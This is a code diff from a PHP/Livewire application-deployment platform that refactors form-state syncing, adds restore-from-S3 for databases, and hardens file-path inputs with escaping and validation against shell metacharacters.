-                $this->application->environment_variables()->where('key', 'LIKE', 'SERVICE_FQDN_%')->delete();
-                $this->application->environment_variables()->where('key', 'LIKE', 'SERVICE_URL_%')->delete();
-                $this->application->environment_variables_preview()->where('key', 'LIKE', 'SERVICE_FQDN_%')->delete();
-                $this->application->environment_variables_preview()->where('key', 'LIKE', 'SERVICE_URL_%')->delete();
-            }
         }
-        if ($this->build_pack === 'static') {
-            $this->ports_exposes = 80;
-            $this->application->ports_exposes = 80;
+        if ($this->buildPack === 'static') {
+            $this->portsExposes = '80';
+            $this->application->ports_exposes = '80';
             $this->resetDefaultLabels(false);
             $this->generateNginxConfiguration();
         }
@@ -586,10 +673,10 @@ public function getWildcardDomain()
             if ($server) {
                 $fqdn = generateUrl(server: $server, random: $this->application->uuid);
                 $this->fqdn = $fqdn;
-                $this->syncToModel();
+                $this->syncData(toModel: true);
                 $this->application->save();
                 $this->application->refresh();
-                $this->syncFromModel();
+                $this->syncData();
                 $this->resetDefaultLabels();
                 $this->dispatch('success', 'Wildcard domain generated.');
             }
@@ -603,11 +690,11 @@ public function generateNginxConfiguration($type = 'static')
         try {
             $this->authorize('update', $this->application);
 
-            $this->custom_nginx_configuration = defaultNginxConfiguration($type);
-            $this->syncToModel();
+            $this->customNginxConfiguration = defaultNginxConfiguration($type);
+            $this->syncData(toModel: true);
             $this->application->save();
             $this->application->refresh();
-            $this->syncFromModel();
+            $this->syncData();
             $this->dispatch('success', 'Nginx configuration generated.');
         } catch (\Throwable $e) {
             return handleError($e, $this);
@@ -617,16 +704,15 @@ public function generateNginxConfiguration($type = 'static')
     public function resetDefaultLabels($manualReset = false)
     {
         try {
-            if (! $this->is_container_label_readonly_enabled && ! $manualReset) {
+            if (! $this->isContainerLabelReadonlyEnabled && ! $manualReset) {
                 return;
             }
             $this->customLabels = str(implode('|coolify|', generateLabelsApplication($this->application)))->replace('|coolify|', "\n");
-            $this->custom_labels = base64_encode($this->customLabels);
-            $this->syncToModel();
+            $this->application->custom_labels = base64_encode($this->customLabels);
             $this->application->save();
             $this->application->refresh();
-            $this->syncFromModel();
-            if ($this->build_pack === 'dockercompose') {
+            $this->syncData();
+            if ($this->buildPack === 'dockercompose') {
                 $this->loadComposeFile(showToast: false);
             }
             $this->dispatch('configurationChanged');
@@ -722,7 +808,7 @@ public function submit($showToaster = true)
                 $this->dispatch('warning', __('warning.sslipdomain'));
             }
 
-            $this->syncToModel();
+            $this->syncData(toModel: true);
 
             if ($this->application->isDirty('redirect')) {
                 $this->setRedirect();
@@ -742,42 +828,42 @@ public function submit($showToaster = true)
                 $this->application->save();
             }
 
-            if ($this->build_pack === 'dockercompose' && $oldDockerComposeLocation !== $this->docker_compose_location) {
+            if ($this->buildPack === 'dockercompose' && $oldDockerComposeLocation !== $this->dockerComposeLocation) {
                 $compose_return = $this->loadComposeFile(showToast: false);
                 if ($compose_return instanceof \Livewire\Features\SupportEvents\Event) {
                     return;
                 }
             }
 
-            if ($oldPortsExposes !== $this->ports_exposes || $oldIsContainerLabelEscapeEnabled !== $this->is_container_label_escape_enabled) {
+            if ($oldPortsExposes !== $this->portsExposes || $oldIsContainerLabelEscapeEnabled !== $this->isContainerLabelEscapeEnabled) {
                 $this->resetDefaultLabels();
             }
-            if ($this->build_pack === 'dockerimage') {
+            if ($this->buildPack === 'dockerimage') {
                 $this->validate([
-                    'docker_registry_image_name' => 'required',
+                    'dockerRegistryImageName' => 'required',
                 ]);
             }
 
-            if ($this->custom_docker_run_options) {
-                $this->custom_docker_run_options = str($this->custom_docker_run_options)->trim()->toString();
-                $this->application->custom_docker_run_options = $this->custom_docker_run_options;
+            if ($this->customDockerRunOptions) {
+                $this->customDockerRunOptions = str($this->customDockerRunOptions)->trim()->toString();
+                $this->application->custom_docker_run_options = $this->customDockerRunOptions;
             }
             if ($this->dockerfile) {
                 $port = get_port_from_dockerfile($this->dockerfile);
-                if ($port && ! $this->ports_exposes) {
-                    $this->ports_exposes = $port;
+                if ($port && ! $this->portsExposes) {
+                    $this->portsExposes = $port;
                     $this->application->ports_exposes = $port;
                 }
             }
-            if ($this->base_directory && $this->base_directory !== '/') {
-                $this->base_directory = rtrim($this->base_directory, '/');
-                $this->application->base_directory = $this->base_directory;
+            if ($this->baseDirectory && $this->baseDirectory !== '/') {
+                $this->baseDirectory = rtrim($this->baseDirectory, '/');
+                $this->application->base_directory = $this->baseDirectory;
             }
-            if ($this->publish_directory && $this->publish_directory !== '/') {
-                $this->publish_directory = rtrim($this->publish_directory, '/');
-                $this->application->publish_directory = $this->publish_directory;
+            if ($this->publishDirectory && $this->publishDirectory !== '/') {
+                $this->publishDirectory = rtrim($this->publishDirectory, '/');
+                $this->application->publish_directory = $this->publishDirectory;
             }
-            if ($this->build_pack === 'dockercompose') {
+            if ($this->buildPack === 'dockercompose') {
                 $this->application->docker_compose_domains = json_encode($this->parsedServiceDomains);
                 if ($this->application->isDirty('docker_compose_domains')) {
                     foreach ($this->parsedServiceDomains as $service) {
@@ -809,11 +895,11 @@ public function submit($showToaster = true)
             $this->application->custom_labels = base64_encode($this->customLabels);
             $this->application->save();
             $this->application->refresh();
-            $this->syncFromModel();
+            $this->syncData();
             $showToaster && ! $warning && $this->dispatch('success', 'Application settings updated!');
         } catch (\Throwable $e) {
             $this->application->refresh();
-            $this->syncFromModel();
+            $this->syncData();
 
             return handleError($e, $this);
         } finally {
@@ -900,4 +986,60 @@ private function updateServiceEnvironmentVariables()
             }
         }
     }
+
+    public function getDetectedPortInfoProperty(): ?array
+    {
+        $detectedPort = $this->application->detectPortFromEnvironment();
+
+        if (! $detectedPort) {
+            return null;
+        }
+
+        $portsExposesArray = $this->application->ports_exposes_array;
+        $isMatch = in_array($detectedPort, $portsExposesArray);
+        $isEmpty = empty($portsExposesArray);
+
+        return [
+            'port' => $detectedPort,
+            'matches' => $isMatch,
+            'isEmpty' => $isEmpty,
+        ];
+    }
+
+    public function getDockerComposeBuildCommandPreviewProperty(): string
+    {
+        if (! $this->dockerComposeCustomBuildCommand) {
+            return '';
+        }
+
+        // Normalize baseDirectory to prevent double slashes (e.g., when baseDirectory is '/')
+        $normalizedBase = $this->baseDirectory === '/' ? '' : rtrim($this->baseDirectory, '/');
+
+        // Use relative path for clarity in preview (e.g., ./backend/docker-compose.yaml)
+        // Actual deployment uses absolute path: /artifacts/{deployment_uuid}{base_directory}{docker_compose_location}
+        // Build-time env path references ApplicationDeploymentJob::BUILD_TIME_ENV_PATH as source of truth
+        return injectDockerComposeFlags(
+            $this->dockerComposeCustomBuildCommand,
+            ".{$normalizedBase}{$this->dockerComposeLocation}",
+            \App\Jobs\ApplicationDeploymentJob::BUILD_TIME_ENV_PATH
+        );
+    }
+
+    public function getDockerComposeStartCommandPreviewProperty(): string
+    {
+        if (! $this->dockerComposeCustomStartCommand) {
+            return '';
+        }
+
+        // Normalize baseDirectory to prevent double slashes (e.g., when baseDirectory is '/')
+        $normalizedBase = $this->baseDirectory === '/' ? '' : rtrim($this->baseDirectory, '/');
+
+        // Use relative path for clarity in preview (e.g., ./backend/docker-compose.yaml)
+        // Placeholder {workdir}/.env shows it's the workdir .env file (runtime env, not build-time)
+        return injectDockerComposeFlags(
+            $this->dockerComposeCustomStartCommand,
+            ".{$normalizedBase}{$this->dockerComposeLocation}",
+            '{workdir}/.env'
+        );
+    }
 }
diff --git a/app/Livewire/Project/Application/Heading.php b/app/Livewire/Project/Application/Heading.php
index 5231438e5..fc63c7f4b 100644
--- a/app/Livewire/Project/Application/Heading.php
+++ b/app/Livewire/Project/Application/Heading.php
@@ -101,11 +101,18 @@ public function deploy(bool $force_rebuild = false)
             force_rebuild: $force_rebuild,
         );
         if ($result['status'] === 'skipped') {
-            $this->dispatch('success', 'Deployment skipped', $result['message']);
+            $this->dispatch('error', 'Deployment skipped', $result['message']);
 
             return;
         }
 
+        // Reset restart count on successful deployment
+        $this->application->update([
+            'restart_count' => 0,
+            'last_restart_at' => null,
+            'last_restart_type' => null,
+        ]);
+
         return $this->redirectRoute('project.application.deployment.show', [
             'project_uuid' => $this->parameters['project_uuid'],
             'application_uuid' => $this->parameters['application_uuid'],
@@ -137,6 +144,7 @@ public function restart()
 
             return;
         }
+
         $this->setDeploymentUuid();
         $result = queue_application_deployment(
             application: $this->application,
@@ -149,6 +157,13 @@ public function restart()
             return;
         }
 
+        // Reset restart count on manual restart
+        $this->application->update([
+            'restart_count' => 0,
+            'last_restart_at' => now(),
+            'last_restart_type' => 'manual',
+        ]);
+
         return $this->redirectRoute('project.application.deployment.show', [
             'project_uuid' => $this->parameters['project_uuid'],
             'application_uuid' => $this->parameters['application_uuid'],
diff --git a/app/Livewire/Project/Database/BackupEdit.php b/app/Livewire/Project/Database/BackupEdit.php
index 7deaa82a9..da543a049 100644
--- a/app/Livewire/Project/Database/BackupEdit.php
+++ b/app/Livewire/Project/Database/BackupEdit.php
@@ -79,7 +79,7 @@ class BackupEdit extends Component
     #[Validate(['required', 'boolean'])]
     public bool $dumpAll = false;
 
-    #[Validate(['required', 'int', 'min:1', 'max:36000'])]
+    #[Validate(['required', 'int', 'min:60', 'max:36000'])]
     public int $timeout = 3600;
 
     public function mount()
diff --git a/app/Livewire/Project/Database/Import.php b/app/Livewire/Project/Database/Import.php
index 7d6ac3131..fd191e587 100644
--- a/app/Livewire/Project/Database/Import.php
+++ b/app/Livewire/Project/Database/Import.php
@@ -2,6 +2,7 @@
 
 namespace App\Livewire\Project\Database;
 
+use App\Models\S3Storage;
 use App\Models\Server;
 use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
 use Illuminate\Support\Facades\Auth;
@@ -12,6 +13,92 @@ class Import extends Component
 {
     use AuthorizesRequests;
 
+    /**
+     * Validate that a string is safe for use as an S3 bucket name.
+     * Allows alphanumerics, dots, dashes, and underscores.
+     */
+    private function validateBucketName(string $bucket): bool
+    {
+        return preg_match('/^[a-zA-Z0-9.\-_]+$/', $bucket) === 1;
+    }
+
+    /**
+     * Validate that a string is safe for use as an S3 path.
+     * Allows alphanumerics, dots, dashes, underscores, slashes, and common file characters.
+     */
+    private function validateS3Path(string $path): bool
+    {
+        // Must not be empty
+        if (empty($path)) {
+            return false;
+        }
+
+        // Must not contain dangerous shell metacharacters or command injection patterns
+        $dangerousPatterns = [
+            '..', // Directory traversal
+            '$(', // Command substitution
+            '`',  // Backtick command substitution
+            '|',  // Pipe
+            ';',  // Command separator
+            '&',  // Background/AND
+            '>',  // Redirect
+            '<',  // Redirect
+            "\n", // Newline
+            "\r", // Carriage return
+            "\0", // Null byte
+            "'",  // Single quote
+            '"',  // Double quote
+            '\\', // Backslash
+        ];
+
+        foreach ($dangerousPatterns as $pattern) {
+            if (str_contains($path, $pattern)) {
+                return false;
+            }
+        }
+
+        // Allow alphanumerics, dots, dashes, underscores, slashes, spaces, plus, equals, at
+        return preg_match('/^[a-zA-Z0-9.\-_\/\s+@=]+$/', $path) === 1;
+    }
+
+    /**
+     * Validate that a string is safe for use as a file path on the server.
+     */
+    private function validateServerPath(string $path): bool
+    {
+        // Must be an absolute path
+        if (! str_starts_with($path, '/')) {
+            return false;
+        }
+
+        // Must not contain dangerous shell metacharacters or command injection patterns
+        $dangerousPatterns = [
+            '..', // Directory traversal
+            '$(', // Command substitution
+            '`',  // Backtick command substitution
+            '|',  // Pipe
+            ';',  // Command separator
+            '&',  // Background/AND
+            '>',  // Redirect
+            '<',  // Redirect
+            "\n", // Newline
+            "\r", // Carriage return
+            "\0", // Null byte
+            "'",  // Single quote
+            '"',  // Double quote
+            '\\', // Backslash
+        ];
+
+        foreach ($dangerousPatterns as $pattern) {
+            if (str_contains($path, $pattern)) {
+                return false;
+            }
+        }
+
+        // Allow alphanumerics, dots, dashes, underscores, slashes, and spaces
+        return preg_match('/^[a-zA-Z0-9.\-_\/\s]+$/', $path) === 1;
+    }
+
     public bool $unsupported = false;
 
     public $resource;
@@ -54,6 +141,15 @@ class Import extends Component
 
     public string $mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive=';
 
+    // S3 Restore properties
+    public $availableS3Storages = [];
+
+    public ?int $s3StorageId = null;
+
+    public string $s3Path = '';
+
+    public ?int $s3FileSize = null;
+
     public function getListeners()
     {
         $userId = Auth::id();
@@ -65,11 +161,9 @@ public function getListeners()
 
     public function mount()
     {
-        if (isDev()) {
-            $this->customLocation = '/data/coolify/pg-dump-all-1736245863.gz';
-        }
         $this->parameters = get_route_parameters();
         $this->getContainers();
+        $this->loadAvailableS3Storages();
     }
 
     public function updatedDumpAll($value)
@@ -152,8 +246,16 @@ public function getContainers()
     public function checkFile()
     {
         if (filled($this->customLocation)) {
+            // Validate the custom location to prevent command injection
+            if (! $this->validateServerPath($this->customLocation)) {
+                $this->dispatch('error', 'Invalid file path. Path must be absolute and contain only safe characters (alphanumerics, dots, dashes, underscores, slashes).');
+
+                return;
+            }
+
             try {
-                $result = instant_remote_process(["ls -l {$this->customLocation}"], $this->server, throwError: false);
+                $escapedPath = escapeshellarg($this->customLocation);
+                $result = instant_remote_process(["ls -l {$escapedPath}"], $this->server, throwError: false);
                 if (blank($result)) {
                     $this->dispatch('error', 'The file does not exist or has been deleted.');
 
@@ -179,59 +281,35 @@ public function runImport()
         try {
             $this->importRunning = true;
             $this->importCommands = [];
-            if (filled($this->customLocation)) {
-                $backupFileName = '/tmp/restore_'.$this->resource->uuid;
-                $this->importCommands[] = "docker cp {$this->customLocation} {$this->container}:{$backupFileName}";
-                $tmpPath = $backupFileName;
-            } else {
-                $backupFileName = "upload/{$this->resource->uuid}/restore";
-                $path = Storage::path($backupFileName);
-                if (! Storage::exists($backupFileName)) {
-                    $this->dispatch('error', 'The file does not exist or has been deleted.');
+            $backupFileName = "upload/{$this->resource->uuid}/restore";
 
-                    return;
-                }
+            // Check if an uploaded file exists first (takes priority over custom location)
+            if (Storage::exists($backupFileName)) {
+                $path = Storage::path($backupFileName);
                 $tmpPath = '/tmp/'.basename($backupFileName).'_'.$this->resource->uuid;
                 instant_scp($path, $tmpPath, $this->server);
                 Storage::delete($backupFileName);
                 $this->importCommands[] = "docker cp {$tmpPath} {$this->container}:{$tmpPath}";
+            } elseif (filled($this->customLocation)) {
+                // Validate the custom location to prevent command injection
+                if (! $this->validateServerPath($this->customLocation)) {
+                    $this->dispatch('error', 'Invalid file path. Path must be absolute and contain only safe characters.');
+
+                    return;
+                }
+                $tmpPath = '/tmp/restore_'.$this->resource->uuid;
+                $escapedCustomLocation = escapeshellarg($this->customLocation);
+                $this->importCommands[] = "docker cp {$escapedCustomLocation} {$this->container}:{$tmpPath}";
+            } else {
+                $this->dispatch('error', 'The file does not exist or has been deleted.');
+
+                return;
             }
 
             // Copy the restore command to a script file
             $scriptPath = "/tmp/restore_{$this->resource->uuid}.sh";
 
-            switch ($this->resource->getMorphClass()) {
-                case \App\Models\StandaloneMariadb::class:
-                    $restoreCommand = $this->mariadbRestoreCommand;
-                    if ($this->dumpAll) {
-                        $restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | mariadb -u root -p\$MARIADB_ROOT_PASSWORD";
-                    } else {
-                        $restoreCommand .= " < {$tmpPath}";
-                    }
-                    break;
-                case \App\Models\StandaloneMysql::class:
-                    $restoreCommand = $this->mysqlRestoreCommand;
-                    if ($this->dumpAll) {
-                        $restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | mysql -u root -p\$MYSQL_ROOT_PASSWORD";
-                    } else {
-                        $restoreCommand .= " < {$tmpPath}";
-                    }
-                    break;
-                case \App\Models\StandalonePostgresql::class:
-                    $restoreCommand = $this->postgresqlRestoreCommand;
-                    if ($this->dumpAll) {
-                        $restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | psql -U \$POSTGRES_USER postgres";
-                    } else {
-                        $restoreCommand .= " {$tmpPath}";
-                    }
-                    break;
-                case \App\Models\StandaloneMongodb::class:
-                    $restoreCommand = $this->mongodbRestoreCommand;
-                    if ($this->dumpAll === false) {
-                        $restoreCommand .= "{$tmpPath}";
-                    }
-                    break;
-            }
+            $restoreCommand = $this->buildRestoreCommand($tmpPath);
 
             $restoreCommandBase64 = base64_encode($restoreCommand);
             $this->importCommands[] = "echo \"{$restoreCommandBase64}\" | base64 -d > {$scriptPath}";
@@ -248,7 +326,10 @@ public function runImport()
                     'container' => $this->container,
                     'serverId' => $this->server->id,
                 ]);
+
+                // Dispatch activity to the monitor and open slide-over
                 $this->dispatch('activityMonitor', $activity->id);
+                $this->dispatch('databaserestore');
             }
         } catch (\Throwable $e) {
             return handleError($e, $this);
@@ -257,4 +338,264 @@ public function runImport()
             $this->importCommands = [];
         }
     }
+
+    public function loadAvailableS3Storages()
+    {
+        try {
+            $this->availableS3Storages = S3Storage::ownedByCurrentTeam(['id', 'name', 'description'])
+                ->where('is_usable', true)
+                ->get();
+        } catch (\Throwable $e) {
+            $this->availableS3Storages = collect();
+        }
+    }
+
+    public function updatedS3Path($value)
+    {
+        // Reset validation state when path changes
+        $this->s3FileSize = null;
+
+        // Ensure path starts with a slash
+        if ($value !== null && $value !== '') {
+            $this->s3Path = str($value)->trim()->start('/')->value();
+        }
+    }
+
+    public function updatedS3StorageId()
+    {
+        // Reset validation state when storage changes
+        $this->s3FileSize = null;
+    }
+
+    public function checkS3File()
+    {
+        if (! $this->s3StorageId) {
+            $this->dispatch('error', 'Please select an S3 storage.');
+
+            return;
+        }
+
+        if (blank($this->s3Path)) {
+            $this->dispatch('error', 'Please provide an S3 path.');
+
+            return;
+        }
+
+        // Clean the path (remove leading slash if present)
+        $cleanPath = ltrim($this->s3Path, '/');
+
+        // Validate the S3 path early to prevent command injection in subsequent operations
+        if (! $this->validateS3Path($cleanPath)) {
+            $this->dispatch('error', 'Invalid S3 path. Path must contain only safe characters (alphanumerics, dots, dashes, underscores, slashes).');
+
+            return;
+        }
+
+        try {
+            $s3Storage = S3Storage::ownedByCurrentTeam()->findOrFail($this->s3StorageId);
+
+            // Validate bucket name early
+            if (! $this->validateBucketName($s3Storage->bucket)) {
+                $this->dispatch('error', 'Invalid S3 bucket name. Bucket name must contain only alphanumerics, dots, dashes, and underscores.');
+
+                return;
+            }
+
+            // Test connection
+            $s3Storage->testConnection();
+
+            // Build S3 disk configuration
+            $disk = Storage::build([
+                'driver' => 's3',
+                'region' => $s3Storage->region,
+                'key' => $s3Storage->key,
+                'secret' => $s3Storage->secret,
+                'bucket' => $s3Storage->bucket,
+                'endpoint' => $s3Storage->endpoint,
+                'use_path_style_endpoint' => true,
+            ]);
+
+            // Check if file exists
+            if (! $disk->exists($cleanPath)) {
+                $this->dispatch('error', 'File not found in S3. Please check the path.');
+
+                return;
+            }
+
+            // Get file size
+            $this->s3FileSize = $disk->size($cleanPath);
+
+            $this->dispatch('success', 'File found in S3. Size: '.formatBytes($this->s3FileSize));
+        } catch (\Throwable $e) {
+            $this->s3FileSize = null;
+
+            return handleError($e, $this);
+        }
+    }
+
+    public function restoreFromS3()
+    {
+        $this->authorize('update', $this->resource);
+
+        if (! $this->s3StorageId || blank($this->s3Path)) {
+            $this->dispatch('error', 'Please select S3 storage and provide a path first.');
+
+            return;
+        }
+
+        if (is_null($this->s3FileSize)) {
+            $this->dispatch('error', 'Please check the file first by clicking "Check File".');
+
+            return;
+        }
+
+        try {
+            $this->importRunning = true;
+
+            $s3Storage = S3Storage::ownedByCurrentTeam()->findOrFail($this->s3StorageId);
+
+            $key = $s3Storage->key;
+            $secret = $s3Storage->secret;
+            $bucket = $s3Storage->bucket;
+            $endpoint = $s3Storage->endpoint;
+
+            // Validate bucket name to prevent command injection
+            if (! $this->validateBucketName($bucket)) {
+                $this->dispatch('error', 'Invalid S3 bucket name. Bucket name must contain only alphanumerics, dots, dashes, and underscores.');
+
+                return;
+            }
+
+            // Clean the S3 path
+            $cleanPath = ltrim($this->s3Path, '/');
+
+            // Validate the S3 path to prevent command injection
+            if (! $this->validateS3Path($cleanPath)) {
+                $this->dispatch('error', 'Invalid S3 path. Path must contain only safe characters (alphanumerics, dots, dashes, underscores, slashes).');
+
+                return;
+            }
+
+            // Get helper image
+            $helperImage = config('constants.coolify.helper_image');
+            $latestVersion = getHelperVersion();
+            $fullImageName = "{$helperImage}:{$latestVersion}";
+
+            // Get the database destination network
+            $destinationNetwork = $this->resource->destination->network ?? 'coolify';
+
+            // Generate unique names for this operation
+            $containerName = "s3-restore-{$this->resource->uuid}";
+            $helperTmpPath = '/tmp/'.basename($cleanPath);
+            $serverTmpPath = "/tmp/s3-restore-{$this->resource->uuid}-".basename($cleanPath);
+            $containerTmpPath = "/tmp/restore_{$this->resource->uuid}-".basename($cleanPath);
+            $scriptPath = "/tmp/restore_{$this->resource->uuid}.sh";
+
+            // Prepare all commands in sequence
+            $commands = [];
+
+            // 1. Clean up any existing helper container and temp files from previous runs
+            $commands[] = "docker rm -f {$containerName} 2>/dev/null || true";
+            $commands[] = "rm -f {$serverTmpPath} 2>/dev/null || true";
+            $commands[] = "docker exec {$this->container} rm -f {$containerTmpPath} {$scriptPath} 2>/dev/null || true";
+
+            // 2. Start helper container on the database network
+            $commands[] = "docker run -d --network {$destinationNetwork} --name {$containerName} {$fullImageName} sleep 3600";
+
+            // 3. Configure S3 access in helper container
+            $escapedEndpoint = escapeshellarg($endpoint);
+            $escapedKey = escapeshellarg($key);
+            $escapedSecret = escapeshellarg($secret);
+            $commands[] = "docker exec {$containerName} mc alias set s3temp {$escapedEndpoint} {$escapedKey} {$escapedSecret}";
+
+            // 4. Check file exists in S3 (bucket and path already validated above)
+            $escapedBucket = escapeshellarg($bucket);
+            $escapedCleanPath = escapeshellarg($cleanPath);
+            $escapedS3Source = escapeshellarg("s3temp/{$bucket}/{$cleanPath}");
+            $commands[] = "docker exec {$containerName} mc stat {$escapedS3Source}";
+
+            // 5. Download from S3 to helper container (progress shown by default)
+            $escapedHelperTmpPath = escapeshellarg($helperTmpPath);
+            $commands[] = "docker exec {$containerName} mc cp {$escapedS3Source} {$escapedHelperTmpPath}";
+
+            // 6. Copy from helper to server, then immediately to database container
+            $commands[] = "docker cp {$containerName}:{$helperTmpPath} {$serverTmpPath}";
+            $commands[] = "docker cp {$serverTmpPath} {$this->container}:{$containerTmpPath}";
+
+            // 7. Cleanup helper container and server temp file immediately (no longer needed)
+            $commands[] = "docker rm -f {$containerName} 2>/dev/null || true";
+            $commands[] = "rm -f {$serverTmpPath} 2>/dev/null || true";
+
+            // 8. Build and execute restore command inside database container
+            $restoreCommand = $this->buildRestoreCommand($containerTmpPath);
+
+            $restoreCommandBase64 = base64_encode($restoreCommand);
+            $commands[] = "echo \"{$restoreCommandBase64}\" | base64 -d > {$scriptPath}";
+            $commands[] = "chmod +x {$scriptPath}";
+            $commands[] = "docker cp {$scriptPath} {$this->container}:{$scriptPath}";
+
+            // 9. Execute restore and cleanup temp files immediately after completion
+            $commands[] = "docker exec {$this->container} sh -c '{$scriptPath} && rm -f {$containerTmpPath} {$scriptPath}'";
+            $commands[] = "docker exec {$this->container} sh -c 'echo \"Import finished with exit code $?\"'";
+
+            // Execute all commands with cleanup event (as safety net for edge cases)
+            $activity = remote_process($commands, $this->server, ignore_errors: true, callEventOnFinish: 'S3RestoreJobFinished', callEventData: [
+                'containerName' => $containerName,
+                'serverTmpPath' => $serverTmpPath,
+                'scriptPath' => $scriptPath,
+                'containerTmpPath' => $containerTmpPath,
+                'container' => $this->container,
+                'serverId' => $this->server->id,
+            ]);
+
+            // Dispatch activity to the monitor and open slide-over
+            $this->dispatch('activityMonitor', $activity->id);
+            $this->dispatch('databaserestore');
+            $this->dispatch('info', 'Restoring database from S3. Progress will be shown in the activity monitor...');
+        } catch (\Throwable $e) {
+            $this->importRunning = false;
+
+            return handleError($e, $this);
+        }
+    }
+
+    public function buildRestoreCommand(string $tmpPath): string
+    {
+        switch ($this->resource->getMorphClass()) {
+            case \App\Models\StandaloneMariadb::class:
+                $restoreCommand = $this->mariadbRestoreCommand;
+                if ($this->dumpAll) {
+                    $restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | mariadb -u root -p\$MARIADB_ROOT_PASSWORD";
+                } else {
+                    $restoreCommand .= " < {$tmpPath}";
+                }
+                break;
+            case \App\Models\StandaloneMysql::class:
+                $restoreCommand = $this->mysqlRestoreCommand;
+                if ($this->dumpAll) {
+                    $restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | mysql -u root -p\$MYSQL_ROOT_PASSWORD";
+                } else {
+                    $restoreCommand .= " < {$tmpPath}";
+                }
+                break;
+            case \App\Models\StandalonePostgresql::class:
+                $restoreCommand = $this->postgresqlRestoreCommand;
+                if ($this->dumpAll) {
+                    $restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | psql -U \$POSTGRES_USER postgres";
+                } else {
+                    $restoreCommand .= " {$tmpPath}";
+                }
+                break;
+            case \App\Models\StandaloneMongodb::class:
+                $restoreCommand = $this->mongodbRestoreCommand;
+                if ($this->dumpAll === false) {
+                    $restoreCommand .= "{$tmpPath}";
+                }
+                break;
+            default:
+                $restoreCommand = '';
+        }
+
+        return $restoreCommand;
+    }
 }
diff --git a/app/Livewire/Project/Service/EditDomain.php b/app/Livewire/Project/Service/EditDomain.php
index f759dd71e..7158b6e40 100644
--- a/app/Livewire/Project/Service/EditDomain.php
+++ b/app/Livewire/Project/Service/EditDomain.php
@@ -2,14 +2,16 @@
 
 namespace App\Livewire\Project\Service;
 
-use App\Livewire\Concerns\SynchronizesModelData;
 use App\Models\ServiceApplication;
+use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
+use Livewire\Attributes\Validate;
 use Livewire\Component;
 use Spatie\Url\Url;
 
 class EditDomain extends Component
 {
-    use SynchronizesModelData;
+    use AuthorizesRequests;
+
     public $applicationId;
 
     public ServiceApplication $application;
@@ -20,6 +22,13 @@ class EditDomain extends Component
 
     public $forceSaveDomains = false;
 
+    public $showPortWarningModal = false;
+
+    public $forceRemovePort = false;
+
+    public $requiredPort = null;
+
+    #[Validate(['nullable'])]
     public ?string $fqdn = null;
 
     protected $rules = [
@@ -28,16 +37,25 @@ class EditDomain extends Component
 
     public function mount()
     {
-        $this->application = ServiceApplication::query()->findOrFail($this->applicationId);
+        $this->application = ServiceApplication::ownedByCurrentTeam()->findOrFail($this->applicationId);
         $this->authorize('view', $this->application);
-        $this->syncFromModel();
+        $this->requiredPort = $this->application->getRequiredPort();
+        $this->syncData();
     }
 
-    protected function getModelBindings(): array
+    public function syncData(bool $toModel = false): void
     {
-        return [
-            'fqdn' => 'application.fqdn',
-        ];
+        if ($toModel) {
+            $this->validate();
+
+            // Sync to model
+            $this->application->fqdn = $this->fqdn;
+
+            $this->application->save();
+        } else {
+            // Sync from model
+            $this->fqdn = $this->application->fqdn;
+        }
     }
 
     public function confirmDomainUsage()
@@ -47,6 +65,19 @@ public function confirmDomainUsage()
         $this->submit();
     }
 
+    public function confirmRemovePort()
+    {
+        $this->forceRemovePort = true;
+        $this->showPortWarningModal = false;
+        $this->submit();
+    }
+
+    public function cancelRemovePort()
+    {
+        $this->showPortWarningModal = false;
+        $this->syncData(); // Reset to original FQDN
+    }
+
     public function submit()
     {
         try {
@@ -64,8 +95,8 @@ public function submit()
             if ($warning) {
                 $this->dispatch('warning', __('warning.sslipdomain'));
             }
-            // Sync to model for domain conflict check
-            $this->syncToModel();
+            // Sync to model for domain conflict check (without validation)
+            $this->application->fqdn = $this->fqdn;
             // Check for domain conflicts if not forcing save
             if (! $this->forceSaveDomains) {
                 $result = checkDomainUsage(resource: $this->application);
@@ -80,10 +111,44 @@ public function submit()
                 $this->forceSaveDomains = false;
             }
 
+            // Check for required port
+            if (! $this->forceRemovePort) {
+                $requiredPort = $this->application->getRequiredPort();
+
+                if ($requiredPort !== null) {
+                    // Check if all FQDNs have a port
+                    $fqdns = str($this->fqdn)->trim()->explode(',');
+                    $missingPort = false;
+
+                    foreach ($fqdns as $fqdn) {
+                        $fqdn = trim($fqdn);
+                        if (empty($fqdn)) {
+                            continue;
+                        }
+
+                        $port = ServiceApplication::extractPortFromUrl($fqdn);
+                        if ($port === null) {
+                            $missingPort = true;
+                            break;
+                        }
+                    }
+
+                    if ($missingPort) {
+                        $this->requiredPort = $requiredPort;
+                        $this->showPortWarningModal = true;
+
+                        return;
+                    }
+                }
+            } else {
+                // Reset the force flag after using it
+                $this->forceRemovePort = false;
+            }
+
             $this->validate();
             $this->application->save();
             $this->application->refresh();
-            $this->syncFromModel();
+            $this->syncData();
             updateCompose($this->application);
             if (str($this->application->fqdn)->contains(',')) {
                 $this->dispatch('warning', 'Some services do not support multiple domains, which can lead to problems and is NOT RECOMMENDED.<br><br>Only use multiple domains if you know what you are doing.');
@@ -96,7 +161,7 @@ public function submit()
             $originalFqdn = $this->application->getOriginal('fqdn');
             if ($originalFqdn !== $this->application->fqdn) {
                 $this->application->fqdn = $originalFqdn;
-                $this->syncFromModel();
+                $this->syncData();
             }
 
             return handleError($e, $this);
diff --git a/app/Livewire/Project/Service/FileStorage.php b/app/Livewire/Project/Service/FileStorage.php
index 40539b13e..2ce4374a0 100644
--- a/app/Livewire/Project/Service/FileStorage.php
+++ b/app/Livewire/Project/Service/FileStorage.php
@@ -2,7 +2,6 @@
 
 namespace App\Livewire\Project\Service;
 
-use App\Livewire\Concerns\SynchronizesModelData;
 use App\Models\Application;
 use App\Models\InstanceSettings;
 use App\Models\LocalFileVolume;
@@ -19,11 +18,12 @@
